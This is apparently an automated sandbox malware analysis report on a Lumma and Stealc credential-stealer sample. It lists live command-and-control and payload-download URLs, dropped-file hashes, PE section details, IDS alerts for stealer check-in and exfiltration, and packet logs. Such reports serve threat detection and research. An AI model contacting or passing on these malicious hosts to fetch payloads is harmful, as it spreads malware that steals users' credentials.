http://185.215.113.206/c4becf79229cb002.php?	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.0000000001193000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.micro	ABnDy7rLFS.exe, 00000000.00000003.1501493873.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427533159.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1570453711.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1427404122.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1552863640.0000000000DC2000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683772738.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/piZc	ABnDy7rLFS.exe, 00000000.00000003.1570333050.0000000000E22000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	ABnDy7rLFS.exe, 00000000.00000003.1475399603.000000000578D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/apiI	ABnDy7rLFS.exe, 00000000.00000003.1570453711.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ABnDy7rLFS.exe, 00000000.00000003.1477064581.0000000005769000.00000004.00000800.00020000.00000000.sdmp	false	high
https://observerfry.lat/w	ABnDy7rLFS.exe, 00000000.00000003.1552764498.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1501437599.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe	ABnDy7rLFS.exe, 00000000.00000003.1683851235.0000000000E27000.00000004.00000020.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe1d	ABnDy7rLFS.exe, 00000000.00000003.1683371195.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ABnDy7rLFS.exe, 00000000.00000003.1429194312.0000000005719000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1428987908.000000000571C000.00000004.00000800.00020000.00000000.sdmp, ABnDy7rLFS.exe, 00000000.00000003.1429076706.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.36.201	observerfry.lat	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579711
Start date and time:	2024-12-23 07:51:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ABnDy7rLFS.exe renamed because original name is a hash value
Original Sample Name:	1a464ffccb48c9eb4725dff74971ca2a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target A97774QJFYJNGVVMCXLHU5PMQ02KM.exe, PID 2984 because there are no executed function
Execution Graph export aborted for target ABnDy7rLFS.exe, PID 4608 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:52:14	API Interceptor	31x Sleep call for process: ABnDy7rLFS.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16/luma/random.exe
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
CLOUDFLARENETUS	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.6.116
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
WHOLESALECONNECTIONSNL	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	spoolsv.COM.exe	Get hash	malicious	DBatLoader	Browse	104.21.36.201
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	schost.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.36.201
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HIX4V53EFUK0JCGHMC1S24CIQ.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe

Download File

Process:	C:\Users\user\Desktop\ABnDy7rLFS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.49495175315163
Encrypted:	false
SSDEEP:	49152:sClAvSx/8MLHGbScHSJtB9YfkahghnWxS30m:sClaSx/8Mb8SQpk0gv0m
MD5:	880F67C30D6C2335273B27DF0004F500
SHA1:	D340D73B98A457D26180D69C28486F4D0CB98432
SHA-256:	3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
SHA-512:	346C038AA380B6467417D01D9FAE63BB55424886C85AC42CF98E2C9FE851C55C31BC4B46096CC793233409366C9752325C20C8FF5150EAEB8184B54EC7878CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: s31ydU1MpQ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......(-...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wwqufnsk.....$.....\|..............@...dutjqjqn......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe

Download File

Process:	C:\Users\user\Desktop\ABnDy7rLFS.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: s31ydU1MpQ.exe, Detection: malicious, Browse Filename: 20yLTIU4mS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946781854725605
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ABnDy7rLFS.exe
File size:	1'858'560 bytes
MD5:	1a464ffccb48c9eb4725dff74971ca2a
SHA1:	ed212c76b9d5743874da852caeb4452f0c48fc65
SHA256:	a9a38bbfef394b17980ff1026dd2e51f6a2f701bb79eeeb9d166626c1ca8a800
SHA512:	628a61d38aa2a3249341d413f586f7f5dad21ef57839bccf4c51e7717d6a233bf17b05df782b53c9fc61d3ae574bc6c3e4e9729a62d9ebde5b51618976d557ea
SSDEEP:	24576:66+ON5rZ26Fk3e86Tcah/lRtMi1iA3+OmbQcQEoUgc/u4lj5prJtqISDb+I0Mn/u:6x4Va3op/51iBZOJUpTJMDb+yu
TLSH:	8D8533DD46A3B478D418B87B58B9EF4222215E7C0A3AFF3561883828DD477DE63E4C16
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................PI...........@...........................I.....e.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x895000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0DD1026C9Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	dadb20d7da9786c5c74283111cd81d89	False	0.9973713077910958	data	7.981725131840289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a2000	0x200	8e06e1da04406cdf562634127d9a1876	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tmotaokk	0x2f6000	0x19e000	0x19d800	5fe4505c7f6fe5d635c52e2fdec77a42	False	0.9943277896387546	data	7.951804887863434	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lvlnqusq	0x494000	0x1000	0x400	e27198accf3cc0d9367536174ae8b279	False	0.7978515625	data	6.1362174662558955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x495000	0x3000	0x2200	4a7081114be5efe1ceea733ca594c59c	False	0.06215533088235294	DOS executable (COM)	0.7544041926720845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T07:52:14.643956+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49707	104.21.36.201	443	TCP
2024-12-23T07:52:15.528424+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49707	104.21.36.201	443	TCP
2024-12-23T07:52:15.528424+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49707	104.21.36.201	443	TCP
2024-12-23T07:52:16.756889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49708	104.21.36.201	443	TCP
2024-12-23T07:52:17.534435+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49708	104.21.36.201	443	TCP
2024-12-23T07:52:17.534435+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49708	104.21.36.201	443	TCP
2024-12-23T07:52:19.271012+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49709	104.21.36.201	443	TCP
2024-12-23T07:52:21.639850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49710	104.21.36.201	443	TCP
2024-12-23T07:52:23.928993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49711	104.21.36.201	443	TCP
2024-12-23T07:52:26.413170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49712	104.21.36.201	443	TCP
2024-12-23T07:52:30.226419+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49712	104.21.36.201	443	TCP
2024-12-23T07:52:31.927078+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49714	104.21.36.201	443	TCP
2024-12-23T07:52:35.704387+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49715	104.21.36.201	443	TCP
2024-12-23T07:52:36.487082+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49715	104.21.36.201	443	TCP
2024-12-23T07:52:37.973800+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49716	185.215.113.16	80	TCP
2024-12-23T07:52:52.421181+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49717	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:52:13.420578957 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:13.420655012 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:13.420734882 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:13.424583912 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:13.424602985 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:14.643811941 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:14.643955946 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:14.651278973 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:14.651303053 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:14.651648045 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:14.694031000 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:14.766567945 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:14.766604900 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:14.766730070 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:15.528436899 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:15.528537035 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:15.528585911 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:15.530579090 CET	49707	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:15.530620098 CET	443	49707	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:15.540551901 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:15.540597916 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:15.540677071 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:15.541018009 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:15.541028023 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:16.756720066 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:16.756889105 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:16.758276939 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:16.758289099 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:16.758544922 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:16.759738922 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:16.759833097 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:16.759857893 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:17.534437895 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:17.534496069 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:17.534528971 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:17.534554958 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:17.534557104 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:17.534575939 CET	443	49708	104.21.36.201	192.168.2.9
Dec 23, 2024 07:52:17.534590006 CET	49708	443	192.168.2.9	104.21.36.201
Dec 23, 2024 07:52:17.542701960 CET	443	49708	104.21.36.201	192.168.2.9
